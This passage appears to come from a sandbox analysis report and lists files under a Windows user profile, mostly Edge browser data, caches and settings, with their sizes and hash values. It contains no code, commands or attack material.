C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
16KB

MD5
5b4c292d1a43e02f4409427b15c8aeb3

SHA1
2bde6a1ab6737aca78bce5de7d751504d670eb4b

SHA256
77ab8e455de4941dedaf7a8d2537aa42915ab3ea26e9e41a3fc7df558be37db8

SHA512
ba3f2a6c036971b354395308f8843e6f6cff5e3002a9b57ce0600c1ec8a79e11915ff53d0eef54f542ed253437013b07bbadfe46e75734ca1478902ff18cde83

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
15KB

MD5
113120e227617d0c6d17d20386cb8639

SHA1
61e4359d060920169c97a3aafabf4d32d9d86c54

SHA256
f1fd4cbaa29f18acb23cdb17a5b62b4237ea71aaea3582b03f3fa86ab40fbf11

SHA512
472fb3bfe0e0935d2f5619c7c6f6a64aca8c70b9e52cb2be120494b64d58ec998a8205940c693948a74ce9785618731585f8b6ec4706ee45d6efa5309f89767e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
16KB

MD5
6d0833b088a0faa497eed4256bec100f

SHA1
bbb70339906416be9c0e1a4c241591213975baee

SHA256
39301ade8de353ef1d0dff5feb528810513086eabf2444588b1f6e4a79f9e451

SHA512
f05e8373d5d78148398ab8ef1fbeb0cda071dd289d500fb60d30f2028bd79e48249260c9cecc35a0efd91fabad9bf518bcd11c64f439de5dee67e1f5082f1132

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
adc39bcbdd55ed852fbd5a8dacf21ad7

SHA1
fa8976da2aaf60d6b5a061bc30722d36fc03fc21

SHA256
7ac641827c6342ddfa1afa56c2e62404ad34acf5ff20cecd6384589fa24e475f

SHA512
4ae372e96faf4eacbf81c95ddd6408de0636f84f5360a213e303c8864af604b2d8db9f91fa29d212019545a1679446467e0876b5b7e1fdf7d52f83b790ecf004

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
16KB

MD5
d524ff3bcae84ef48999bab6db9b8563

SHA1
88aa6f684e81e11eaa13218c2a6ef2c93f84b9f2

SHA256
4174e14bfba39ea25582d813acdea73e8a979e9c29764283450933c3b9459ff6

SHA512
604182080b19c6e6a49e2eda38adebebd891e7aac9547c30007b3057e297c737201aa87ca5d904f7792c84346529252ff2c57b16b72500d836ab557929127c65

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Filesize
194B

MD5
d7d9437445aa960dcea52ffe772822dc

SHA1
c2bbf4ac0732d905d998c4f645fd60f95a675d02

SHA256
4ff49903bec1197017a35995d5c5fc703caf9d496467345d783f754b723d21c1

SHA512
335eb1ba85670550ed1e1e4e14ea4b5d14f8306125bf147a42de4def5e5f75f14c422b014414030cf30378c04f748ac875cf056adda196511a0b057b3598fe9a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Filesize
319B

MD5
d22e5d0b4107dd6adb91aee3d78458ba

SHA1
ce64ed50d63142e900988ad81b728b685b8af650

SHA256
00ca95af9f16e213544aa859013286db9295df0440a1e15ca80c038b980e7c07

SHA512
ece207c5b58e8a0176802946bb64b35546e2e506494bcce35c94ce61f810c82c1c261f351934529571f432222bf79fb5995ea46ded5fb67be4020925d593c725

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13353269559559951

Filesize
2KB

MD5
7e2ddc74fcf7532299a8b499a7243bdd

SHA1
616697eaf8a4bca94cd14bd3eebcf7155adc6d68

SHA256
9a1a2ccb90a8e67156de82722354dab99074392037d017886e723529250ab4cf

SHA512
12b9835ab9da0b3ad1e4b8ca241f6053e82e8ad31d6ddf93d45826c8897587db1fd1e37c50d718e671e96f9cac109d54d45e609dfc6fb46919d672a1c3416ef5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Tabs_13353269559730951

Filesize
2KB

MD5
7c02657ce9a719e0e9065f0c0f7608d1

SHA1
d4fa762455f11402a86c0f5193678b51eeb5ca00

SHA256
9a3800f573e85e1eec0461ffef6bc458c24b1cee25f45dd6d4174ba4b86b243b

SHA512
80d4cb1ad766933a7ea83beaf399e23cf93ef2bac6f7ceed59af968afd48f450ded6f6a22c852cb959e892f832cc86dbca0f406fb3209d987c26f6bf18c3552f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Filesize
350B

MD5
ea3b96da850ddb0e04cff4c35f98634c

SHA1
14cbfe917a3a24670fc85fa46d3b2f65fbea7aab

SHA256
113ed49349c1cf026d448286dc75064981b2eafdb9c431c19ea2257708d9039a

SHA512
cbff7174385f03d485ea0a25de922470c34a71b084584c939dd5f3a59051ea11b5d293f3c2a92e2f00a92a6c37b0d5ca1c60a1092ea61f0af77e6e4eda8f6508

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Filesize
323B

MD5
43f4798411d503c5565360f79bafdd63

SHA1
91b5b5ded3171f5c16fdd6bed83287ed0de969c7

SHA256
b4b1dc459242f5fddbef5a48aafa735c3dea00f0420aba2f57b3491a3013ef14

SHA512
395edb21a2ceef97cce6169f19d2422e5f066bd49778324947c782fd3ef59992e604f7cb200583aa08c66aa00edf0ffe8bd30e36a1b6659911cbe21a19d91612

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
7KB

MD5
0b6b5b5582c67ce80861c0d9432d75d5

SHA1
a9ccfa97653c6fefb48d47fd43bd050b86e36bd0

SHA256
fc8abe7260ece0d7a71295bb17f3e2b2189599eaf3287fee4d1f227de6413155

SHA512
50912517335823bb48e47992410227807ebb906d5a6ede2f8cbca63b33090e969b97d31f6f18c25f3d6356093cf0b228e888cb4e4c58991d46ea28ce6d98feac

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
4KB

MD5
23220753c2dd17f50cda71f73cac1d69

SHA1
36bc97ee98c646b51083d4a1679a8f1f2a63c03c

SHA256
6e769dfd36e9df62207cebac16344fd10531f7315cda936835aad5d24584d66d

SHA512
ee3e633df7f36ae9a30bd51cca8afb94c05f39249405782000f4d5419177ec54b7a729046653c760d5f221fcd081d939c82d4f27ca39d73c47230ef70e4bdc60

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
7KB

MD5
e5be71fe48d774239ed36da8c22a5712

SHA1
a71c6dc1e963cff3f9d5fb18b0dc9bcda0fed727

SHA256
7bffcc3ec46136f1ed71d5389e593ef59284bf7742d773277de8834b05849e42

SHA512
9d743aad394e012da1f247752cec463d04e10a6f155556e753661fc9074d529b0a5759bb912cb37df2864538fd086a36a64dce4e47ee35d70aeb672cbcd72e35

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
9KB

MD5
1ab87787db342956836e09fa632c4b27

SHA1
5d8a029b0790e73bdb35af747ae374d8eb942ff5

SHA256
d39273accec3dd3f7bf172242d2222301708a0baeb6896f0323360836800704f

SHA512
cf7612c9f16be988cca72cd6812ea65ecb44edd8de56ae8d3d45a06f46afd436aef3a5ae3a6ac129b0be93c5fa4ca6cbd12d9f76a4543555bab8fe0c5b236472

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
4495d690bc4cb5dc6bba6277a1d4c314

SHA1
38698eb105e6ac6672c397bbda466a3b7fb8d58b

SHA256
edc0a35b68b9648a5c5154cfdbf4ecc8c8653ac7e20127ab72311cb59d6f13bd

SHA512
3a632c297f2c205f18965e41e8ac564504515fc943515b8ca261d6ff0f7e777086b931e08a94e71382521cbd4f39b6607c0f58f3af33a9f28929d10fc2b92699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
4KB

MD5
bab338c6f9491d635f87f12085e39078

SHA1
a2340fc296b5e427e358c658c8651c520b2565dd

SHA256
78b09e7d9a4d31cd6107624b015fe978659ccb2a78cc6928f75878e5594dbc64

SHA512
f9f44a8b7e9c8b1d85af59b830060012af5a5779b49918523f8f87e769362025de1d3612546fd5ec5680786af797481220ca87fd8969eecabff360ff381e502c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
7KB

MD5
56dba2bba91e68b06776ce68e61ce3ff

SHA1
551096f436f5aed5a35f1e369462f75a90a15184

SHA256
d4757336fc53c144596de24892721143f537a6c7cc66459f78ec21ab99b32c64

SHA512
36628fc10192589138a006d3ec4c9e012dffd304897a4221aa7f42913dfa974c90ad4565414a3587491574af67b795afda714f038e0d0c2f0ed0ddef4a8272b2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
8KB

MD5
e012885a5b9965778aa9ca69aef3d735

SHA1
1c5a1a296493424c99192558310f0f2c7b59d470

SHA256
3484a5a3895a67925a5a9809663cd05ebf5634d5acc1bc5a2acf55f821133920

SHA512
62a87702084fee12760162f0721c888c36350910d185649bf52905119d80c3ff89fb78c5bdf8dad63b55717210587b7bba27c3d67a24c00d9f421f3ac99c7858

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
10KB

MD5
d6a0870e62e019c81267a06d63d64ff4

SHA1
973eece21d82fabb31751850b25900f676299d37

SHA256
95f111a7696c1176c352bf8da883b221d31e790931abbdf9b7f6e428c0f8a418

SHA512
e031a5d71a43007426f59d64087e4f44bf5cc9564993a98d3e4fd3a06ede8378298a6f8019a48cfc237549a7bb25244d96b25863e64325bb36c3937017139c0c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
10KB

MD5
e7bddaa0b674d6e1b56f53b4de967c7e

SHA1
1242fdd619e80ed1455a2500b763e001f9c1128f

SHA256
55d595ba07247b337568ff6c4b038d6b67707c5ce0b7de44a6b40bf39cc3cdca

SHA512
9f99375cd43733460a8e2de79d2a85698b8becc050702d270f326d2dff9a1b783dabe642bf986cad7604f10a3c6d183e37adaaf158fc871ac981c8127e937cba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
7KB

MD5
d15558e7b25dd6483db3bb6bd7788884

SHA1
4ddac8e22ccd652d4841e0a72b924ed71d8b20f0

SHA256
489631a94b8ca42de329e08f3b426e96bd4a1676cb88a704a71432e96f068f9a

SHA512
6c570b2e370317bbf8cefb849a61f943d133de6a01a6ed2bbc5dc9b79f84f2e5bac3d0376643efc933b87a93bca4618edd74a9fdda0d04abbfcac22bfa5236b9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
9KB

MD5
f960b310e99f85d3f9c00adfaa92ef23

SHA1
dcca43d4d043a445093229303d231438c495f582

SHA256
c2c39d9e73e03a220f424b16da78b5fb2dae1c25b8f3b15c2c05f4bc436f3c19

SHA512
10365c44074214fdaa98f1f0b0adfd870f6ebf4aef8e936f13e9df572f832da477e16354470aeacebe4c0144d7ca79d4390d0760ab85119eb845d73d20e172fa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
10KB

MD5
a0bc5f2007e2ee5c5fc4026738b82f03

SHA1
4cf77deb235f62cb55b00d89838138e407fac246

SHA256
302da021b451c5ef34369105dc010bcc059c614158601407355a15065cabe87c

SHA512
03dde3838cb32f6584041369415da2a95879a8d1e5edd46d90f9c2f2155d5e5f35d537f57330ee40488c5a1e5c16df2412252ed09adc500160ff4175429ef5f9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
7KB

MD5
9c4116dc66b3e69623b8c70edc9c826d

SHA1
c89398d6bd492fd68c65ae4bd462749cdb374f56

SHA256
f5a12fc5680e37bd5aa0353f46fa8fa84f6cbe9c7ea6edf2c259607347bc766e

SHA512
c4eb44484bfcf1d8192a0896328fa3a44a7966bf5cf8a781e9964e691828110f37ffc759a4b0f21260a432ed184145f1b16da4d4fef4ab8cd444e455ade08e38

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
dd33d9ea432baff8a5407327efb33fbf

SHA1
24f9a65ea48370b30b81d6cf125954b1f368f2f7

SHA256
fd63abbf2550c732cd581449ae27aede29c49b0fde88c50606f02c83877a02b6

SHA512
2aac165a4a371c621564b0358f240480c61676c3c0fbcf69048e2d757d581596ed698d3508d160512d424b4159b18a1581bf5b137e8805d2dfa323946317fb67

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
8KB

MD5
965ee1d01f4a1c0073c22f8d5a09e3cd

SHA1
e6ab5e3ce70d4f972bceda1b7414a480d478b540

SHA256
7a08de0a89ddf255057003a4b995252fa25bfbcff7b967f6f59df7f9bb69b61c

SHA512
5ba285a5b0c6d00834cbcceb6620cc469f4371fd13a725fe5f4c998e49f4a0b41e6daf02e3537239a921cc061837907ee1c563daee01369414343b984956afdf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe58504e.TMP

Filesize
701B

MD5
101275f71561751380f2531fa8fb94ca

SHA1
e788cfaf902825807e4303db6656ea7bf3a52f90

SHA256
c31ea448e7252aea7141b8fc1a66963757f039ca2a7efd98c3f609fa2ffe0506

SHA512
4bc723f9eea9d7abadcadc6825bf00873e32ddafd10ddb9b4c01b6fbceffd15d0481a34306b326f4ffe0670bd8aa1c2d678030312dd44bcc1b774c0edc5fadbe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\bc79a9a3-0d5c-4639-bae8-261a3e321887.tmp

Filesize
15KB

MD5
94042f5f3ab561bdb9ed612c39a4eeb5

SHA1
ff5b57930148b2821d092cbdf48ec9438e2b2767

SHA256
d631b0f3bbf073a08abbbc2d6e7d0a4de4cb17027d95c1e1ba93f065e3d25044

SHA512
a3d50298217b11e66a5fa71ed4be830b687f1395b5be968e3ae440bfc0bf1304178b2c5159f8628414d8d69ef2ceab2dd7aedfad1d5310f6e7d8de3f14daaf29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
aefd77f47fb84fae5ea194496b44c67a

SHA1
dcfbb6a5b8d05662c4858664f81693bb7f803b82

SHA256
4166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611

SHA512
b733d502138821948267a8b27401d7c0751e590e1298fda1428e663ccd02f55d0d2446ff4bc265bdcdc61f952d13c01524a5341bc86afc3c2cde1d8589b2e1c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\LOG

Filesize
139B

MD5
930a27c0a537532bd70c9ebbb774dbe2

SHA1
e4ecaca168e273df35e6c7739588127d481d5ae9

SHA256
25590b5a8ff5ebf75b97a5127164807c93ed14b93ac78bf87b4468677aefe002

SHA512
27695473e379eea1498b29927f5d1eab8d44dc3c7afcc902921da414b32a9f4cc4034516f35625ca6bb6c5d0950912300ec08e367d878eb7e13792f162cd2802

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\MANIFEST-000004

Filesize
50B

MD5
031d6d1e28fe41a9bdcbd8a21da92df1

SHA1
38cee81cb035a60a23d6e045e5d72116f2a58683

SHA256
b51bc53f3c43a5b800a723623c4e56a836367d6e2787c57d71184df5d24151da

SHA512
e994cd3a8ee3e3cf6304c33df5b7d6cc8207e0c08d568925afa9d46d42f6f1a5bdd7261f0fd1fcdf4df1a173ef4e159ee1de8125e54efee488a1220ce85af904

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db

Filesize
44KB

MD5
6f4e6adbd2310845e5b168c1d3d8927d

SHA1
b2af3e048f22c79599e059d1b39efffb9be5b09d

SHA256
3a9d7ace74cec067445441bf2fdc40b6b7c3dfb49213b4f3de0a98385037ec58

SHA512
be5b12a3ee0023ef792e32b7c09c12edd040a32fc18347d5e3dcfbeecac71344cd4d3ae4356e6212a1ebc975c1c06f075c57abd6f643ca2b07a2ae894ff19973

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Filesize
206B

MD5
72f0d2063ea1c3d12bf601f2f9a378b1

SHA1
15aabf5b193c003c5cbbaaf7c55bbdde8452de78

SHA256
9366f4000263b9f246e1a20f04660405445fd321347940bcc2d76a0ae3905bf6

SHA512
6a8dff31366cdcc9eaa180b36af60d02e60365711482bf5366dc3020a35dbe68107410f6f262791ce98b9653d8763ee4d705b8aaf828951f59d2ed5bfacdd18a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Filesize
319B

MD5
f2d475ac4fac09e85fa616edbdbe4a96

SHA1
887a73bfd7fac5d8bf8592265882533f25657c5f

SHA256
76b035accd1d923f3fd640907aaa9a57e19680c8c8f3c7726dad2bb7973c2248

SHA512
c276b35461b551ab8d20f6cd956110fd427f67ea73557e9da1cbbb6785bf81f8258de61ec987e76e60f2bca7e791485d99bd553425614e0a1ad32285a24baeb3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Filesize
565B

MD5
43957c7731c3d3480601be9f8fd37151

SHA1
9618f4f7fd142de6ccbac8a283710b607d7727dc

SHA256
ff3360b5662b9f066bcae5d45817666b556a89662cbadd8bc22c16f486d22987

SHA512
e44137ca6c550f2a0c2cc44d4f7c4b8e3c0d32a59e38a69edefd5f140a441c4fc5c5cfb928a12991fd4bf5dfba101605e8cd734ef388d8787687c0dd1b21b2cd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Filesize
337B

MD5
b4c5bdc328ecb0f810bc20ba87c40a23

SHA1
56c84ba6e6feef71b040917c1a574e9c8b95086e

SHA256
64d9c23b4a12f392810539d656f393eb15d5a3bb02c58875e87c27bfbd72c63b

SHA512
085bafbd8932dc48d047496c46e9d8c31a2766098e4a182992c2ea0ea5566438f633d101e21871db495aaceae9ac9b948c89294cffcdbcbf3e59c29c5564249d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_0

Filesize
44KB

MD5
a5e578d1e2fd457073cf24c44872d84b

SHA1
086e5dc6adfc0aa5a87ee45a1ce4e566a8bb5aa3

SHA256
b1ec7a0fffb8cdb40cec015c6cde6745a20221972e61ee46dd21c53281a10aae

SHA512
6d69f402e05e3c750edfd5891159fe12f29a6ce4f11c446e7ff126e062cee0dd229c4b05d0c0665862b48afef6bb3c91d77a29716fbc13b203daeb5ee9849dfb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_1

Filesize
264KB

MD5
6e38a296c81d457a0904f619c3fa3f3e

SHA1
f25011eb7184419a6498fb5671e7f1d0c8dc13d9

SHA256
b08a42986b789d39c97423017c5e3fce6a0497af99ec5fad2570b0dc723913c1

SHA512
ca29422f7db88d2f3e8ab5962beb0662b65a26115756e68e1f8f2cf6c5c44a294350b9cc7bf0cbf989cd9db634ca9150641cd9b0a0d49e2897400758979aa320

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_3

Filesize
4.0MB

MD5
7dbd6f75038c9a95794c04c9812ec534

SHA1
94ef319a8f2f95edced8745eebeb4356e055daf2

SHA256
cf42041eb55203536b0f93f68fb0ff65d50ae545bf2f07ac55bdda94e31da473

SHA512
84365c042426aed1eb3a61f7dc6ed89c5d800572809d02480c5054882d251d98b86d056ad5fb39cf2dead1ba481b7a1e3c4d86858dccfb373897b0025c965fda

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\f_000001

Filesize
22KB

MD5
1ac9e744574f723e217fb139ef1e86a9

SHA1
4194dce485bd10f2a030d2499da5c796dd12630f

SHA256
4564be03e04002c5f6eaeaea0aff16c5d0bbdad45359aef64f4c199cda8b195e

SHA512
b8515fb4b9470a7ce678331bbd59f44da47b627f87ea5a30d92ec1c6d583f1607539cd9318a5bccf0a0c6c2bd2637992e0519bd37acdf876f7a11ed184fb5109

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\f_000002

Filesize
17KB

MD5
913728da90cf90d8e78af59c60b47c3d

SHA1
f42f2a545d4fcaf4f76d0f060f52e33a47df7f1e

SHA256
b0b478f9aa6aaf8d5811e296047ae1f8ee07f4c4998fe9d7b960755ea1fafb82

SHA512
3af86e053dd56aef03e6f967a49b1a0d492616a71e2e49090e0c8e5cbe58ff37ccc55e91f06bf34096059a49f3de84b0bca587f3f17c366f97c0f7a0fd17c974

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Browser

Filesize
120B

MD5
a397e5983d4a1619e36143b4d804b870

SHA1
aa135a8cc2469cfd1ef2d7955f027d95be5dfbd4

SHA256
9c70f766d3b84fc2bb298efa37cc9191f28bec336329cc11468cfadbc3b137f4

SHA512
4159ea654152d2810c95648694dd71957c84ea825fcca87b36f7e3282a72b30ef741805c610c5fa847ca186e34bde9c289aaa7b6931c5b257f1d11255cd2a816

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version

Filesize
11B

MD5
838a7b32aefb618130392bc7d006aa2e

SHA1
5159e0f18c9e68f0e75e2239875aa994847b8290

SHA256
ac3dd2221d90b09b795f1f72e72e4860342a4508fe336c4b822476eb25a55eaa

SHA512
9e350f0565cc726f66146838f9cebaaa38dd01892ffab9a45fe4f72e5be5459c0442e99107293a7c6f2412c71f668242c5e5a502124bc57cbf3b6ad8940cb3e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
d0cf8b5f52594fab36eb670a5af5ddb1

SHA1
29e80171d5688832e879d575bf8c97e3babe880d

SHA256
3df777b384ffa78605b51d7d4bf028201b1b1f449faf4acfc259814ee1f2b994

SHA512
79aea0312c3ae544956860967c48fac6266575359aee48abc9c527ea39650dcfb8444e5e615643c45b6fc4a97e7fbf5115b6225bddf418f90df24361fb51a087

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
850fafadb4ff2771862371c6b613b069

SHA1
10bf402bac875416270f2805335d8e08b2214e21

SHA256
64194a00400b2e74c0ed03e0bf7deb4aa02e7ca2616a48d3d45c91020094bf70

SHA512
a04c30a50435bbb843aaffe74b23ad23f100cb7e9d6fd92d3fec3dd07073e73b1dc3dc312f5b647f1019fec0ee052b23f221a83455f5dd565e3c6f1a24dfc76f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
2530ed8e39c6a610bcdcada502848018

SHA1
e83118d2beda6e8d1fe0f285ecb21f33318dc61b

SHA256
37a60af777745cd98e9c811650e614efd9aac797a7e90929b9b041e69cad1912

SHA512
b949c3fa615dbea49b06026e13162618a8879510c02b97754a2ffe0292244570119ba036a745300e745f8d98e9664cb4c2d8d4fd26aa1e661cd0202fa85bd44a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
eba37afc4a64eb0b55f3f39cd9e51adc

SHA1
c503cbcd8f20f8a726ad32f1844479c20cef5ade

SHA256
91ad0e7d51803864fce2d143af6b8bff71a824655ecfd610509bce07bc3cc86c

SHA512
8e57a3142e021863a9163ad4e5e3fe64284bc6dc22c977381686ecdf694d3be5a0d27116dc72e98855c99a56b6da588b3ffbef1d69afb17cbebbdb5677be1647

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1

Filesize
264KB

MD5
f50f89a0a91564d0b8a211f8921aa7de

SHA1
112403a17dd69d5b9018b8cede023cb3b54eab7d

SHA256
b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

SHA512
bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\edge_shutdown_ms.txt

Filesize
4B

MD5
c0525c1b66012ba9bad629add23083d9

SHA1
2f2a0204b5a32f520649133d832021042e49a71d

SHA256
d03b5bfa0d790aab7b906f91b384989c04cad453ecc9b5fe3e32248be233ae99

SHA512
fbab0566c9e09f4d492c0ccbe728815c51ef2a725966b3f26367063ba540d32b3acb3a1f1b55b06d6648d7a5027de0e7b3fbf0dfd3a69b787ffde940d459752e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb

Filesize
256KB

MD5
1e7913ac07d149639f6e43f7f35d52ca

SHA1
9c5d9f495a1d47e240ed41940f2544653faeb421

SHA256
b66a4aaa2fb4c93ac78faa71acc079d0bf7cb6cd9a9ab9490f6060a97de9c595

SHA512
de4ace51f497f3dcf4f522ce4bd09d89c5cd8343268773f2453a045e48e1ac9aa7c2c2ef7befa6ee5ebfdd68386cbacd44b1fa03f8ff634574a9b283c8978d04

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\9cd93bc6dcf544bae69531052e64647ec02f2bb4.tbres

Filesize
4KB

MD5
e205a491202129f57588b2601013f635

SHA1
4a249b4a235e26bc0eb5b33d27a443869a32b625

SHA256
aa0e31d66708e913ab928b5d0c1c5a58ec6f0d3480020f5dabac12a143f59464

SHA512
c27eb681b184e267cacf8aaa7bf74ed744b9ce1fbd9eebebee484d485d8b2b5f4f0046c1d7ea2f5f4206f5e2037d9b910e66d6dcbd16e049e384272787726b84

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML

Filesize
9KB

MD5
7050d5ae8acfbe560fa11073fef8185d

SHA1
5bc38e77ff06785fe0aec5a345c4ccd15752560e

SHA256
cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b

SHA512
a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b

Download Submit
C:\Users\Admin\AppData\Local\Temp\wmsetup.log

Filesize
1KB

MD5
57969af21d98d7c0516e146e1e6b6358

SHA1
14ef1b0f94e3f37eb1d9de8c33a0226919041cfe

SHA256
7bff8e20efc6267f9ad4399b78e34002391c3e3bfe989bb261509f049e6554b2

SHA512
db538f1210e1fb12b9bb09995e0e0bff69c1fd9cd8a483068e54e19657ab7210c5e6641d350c7ed13698351161085042003b45060e5c28d6b2a83924a6a0ccd3

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.dic

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

Filesize
10KB

MD5
204d53a7766f917618331c9e583d454c

SHA1
c0439141379e0b80d1472033bce15aa4d2e682c9

SHA256
b3400d231ecfdc115b563814e3814b68ef2e5ba05bcd14168757dcd21838bc52

SHA512
9e383c26368b564277e4e4ed421f6d09f3f3053aec56858108bcc160576f5eb2d331a8a45985bfe8ff5ba20a3361e16176595fbbc04576f11b38a31c41552449

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

Filesize
10KB

MD5
73b68f5bcdb1be60b634b1d2246a44f0

SHA1
25c0e470c46a2d708d9e723de50c52711c92a3b5

SHA256
f991965f06274d39c72e822f469f97256995f1ea41bafebdcf1618f8e5a28bd2

SHA512
191214c28946d97754a9b6b9d2e7523c7844a6e1382e8ea3e583845e5e50a6bbb04ac09fe588ba709615be47446821087a266332bda3d1cf34ba461a3a89538c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

Filesize
12KB

MD5
71bb02f891c5daa73509c2dbf17f2e81

SHA1
328f762e8104ab7bb940815de82a051a12987702

SHA256
431c2f5866e86d9fc83d763d57a735f9d75fb02abeab4a6585b05b17ad4f8010

SHA512
